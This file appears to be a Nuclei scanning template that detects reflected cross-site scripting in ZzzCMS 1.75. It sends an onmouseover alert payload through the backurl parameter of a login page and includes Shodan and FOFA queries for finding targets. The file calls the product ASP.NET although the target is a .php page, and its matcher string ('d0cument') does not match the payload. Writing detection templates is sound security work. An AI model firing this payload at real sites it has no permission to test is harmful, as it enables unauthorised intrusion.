id: zzzcms-xss

info:
  name: Zzzcms 1.75 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: ZzzCMS ( A Lightweight ASP.NET content management system ) is vulnerable to XSS( Cross-Site Scripting ).
  reference:
    - https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/Zzzcms/Zzzcms%201.75%20xss%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:zzzcms:zzzcms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ZzzCMS"
    fofa-query: title="ZzzCMS"
    product: zzzcms
    vendor: zzzcms
  tags: zzzcms,xss

http:
  - raw:
      - |
        GET /plugins/template/login.php?backurl=1%20onmouseover%3dalert(/document.domain/)%20y%3d HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover=alert(/d0cument.domain/) y=&act'
          - 'document.write("'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201de72be66583a3f9b74e2b31080c51c125d7986960c2cfb27f4f9a08d37ea3b00220482c9abcdb4d0db71397ede4f8099fecb781ced0ea82dcd1a39200a336df2fc5:922c64590222798bb761d5b6d8e72950